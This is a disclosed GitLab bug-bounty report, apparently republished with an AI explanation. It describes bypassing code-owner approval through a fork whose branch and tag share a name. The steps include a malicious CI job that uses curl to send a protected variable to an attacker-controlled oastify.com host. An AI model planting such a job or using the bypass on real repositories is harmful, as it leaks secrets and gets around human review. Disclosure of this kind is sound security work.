Bypassing Codeowners approve using fork repo
A developer could bypass code owner approval using a forked repo and a branch and tag with the same name, merging unapproved code that reads protected variables and pushes to protected branches.
GitLab
Originally disclosed on GitLab
- Fixed in 15 days
- Disclosed after 15 days
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2418591 by ali_shehab on 2024-03-15, assigned to @rshambhuni:
Report | How To Reproduce
Report
Summary
Hey team hope you are doing well. I found another way to bypass codeowners approvals but this time using a forked repo. Allowing to read protected vars of a private group and pushing code to protected branch.
Steps to reproduce
As an owner:
- Create a new group, and apply the ultimate trial to it
- Create a new private project in that group
- Create a
CODEOWNERSfile, with the following content
[Code Owners]
*.yml [@]OWNER_USERNAME
- Create a
.gitlab-ci.ymlfile, with the following content
my_job:
script:
- echo "Hello"
- Navigate to https://gitlab.com/GROUP/PROJECT/-/settings/repository, allow developers and maintainers to merge and toggle on code owners approval
- Navigate to https://gitlab.com/GROUP/PROJECT/-/settings/merge_requests, and enable Remove approvals by Code Owners if their files changed
- Invite a developer to that group
As the developer:
- Fork that project
- In the forked project, create a new branch called,
protected, and add any "safe" change to the.gitlab-ci.ymlfile, something similar to
my_job:
script:
- echo "Hello, this is safe"
- Create an MR targeting the original project's main branch
As the owner:
- Approve the MR, the owner at this point is okay with that code being merged into main as it's safe
As the developer:
- In the forked project, create a tag called
protected - In the forked project, on the
protectedbranch add any change to the README.md (this doesn't require a code owner approval) - verify that the changes page in the MR is messed up - Back to the forked project, on the
protectedbranch add any evil code to the.gitlab-cicd.yml, something similar to
my_job:
script:
- echo "Hello, this is safe"
job_name:
script:
- curl -X GET "https://qlfb8ytseezdfmvtee92juuzeqkg85.oastify.com?VAR=$VAR" # any server controlled by the user
- Delete
protectedtag - On the MR changes page, create a commit that contains any change
- Verify that approve persisted, and merge the MR
Impact
Bypassing codeowners approval allowing to read-protected vars of the group and project without having permission, add to that, being able to push unapproved code to protected branches.
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a race condition or confusion between a branch and a tag with the same name in a forked project, causing the merge request to show approved changes while the actual merged code differs.
Impact
A developer could bypass code owner approval to read protected variables and push unapproved code to protected branches.
What the attacker needed
Developer role in a group; code owner approval enabled; ability to fork the project
How it was found
- As owner, create a group and private project, add a CODEOWNERS file and a .gitlab-ci.yml, enable code owner approval and removal of approvals.
- As developer, fork the project, create a branch named 'protected' with a safe change to .gitlab-ci.yml, and open a merge request to the original project.
- As owner, approve the merge request.
- As developer, in the fork create a tag named 'protected', add a change to README.md on the 'protected' branch, then add malicious code to .gitlab-ci.yml on that branch.
- Delete the 'protected' tag.
- On the merge request changes page, create a commit with any change, verify approval persisted, and merge the merge request.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Code owners are people who must approve changes to certain files before they can be merged. This report shows a way to trick the system into thinking the code was approved when it was not, by using a fork (a copy of the project) and a branch and tag with the same name. The attacker could then run code that reads secret variables and push to protected branches.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.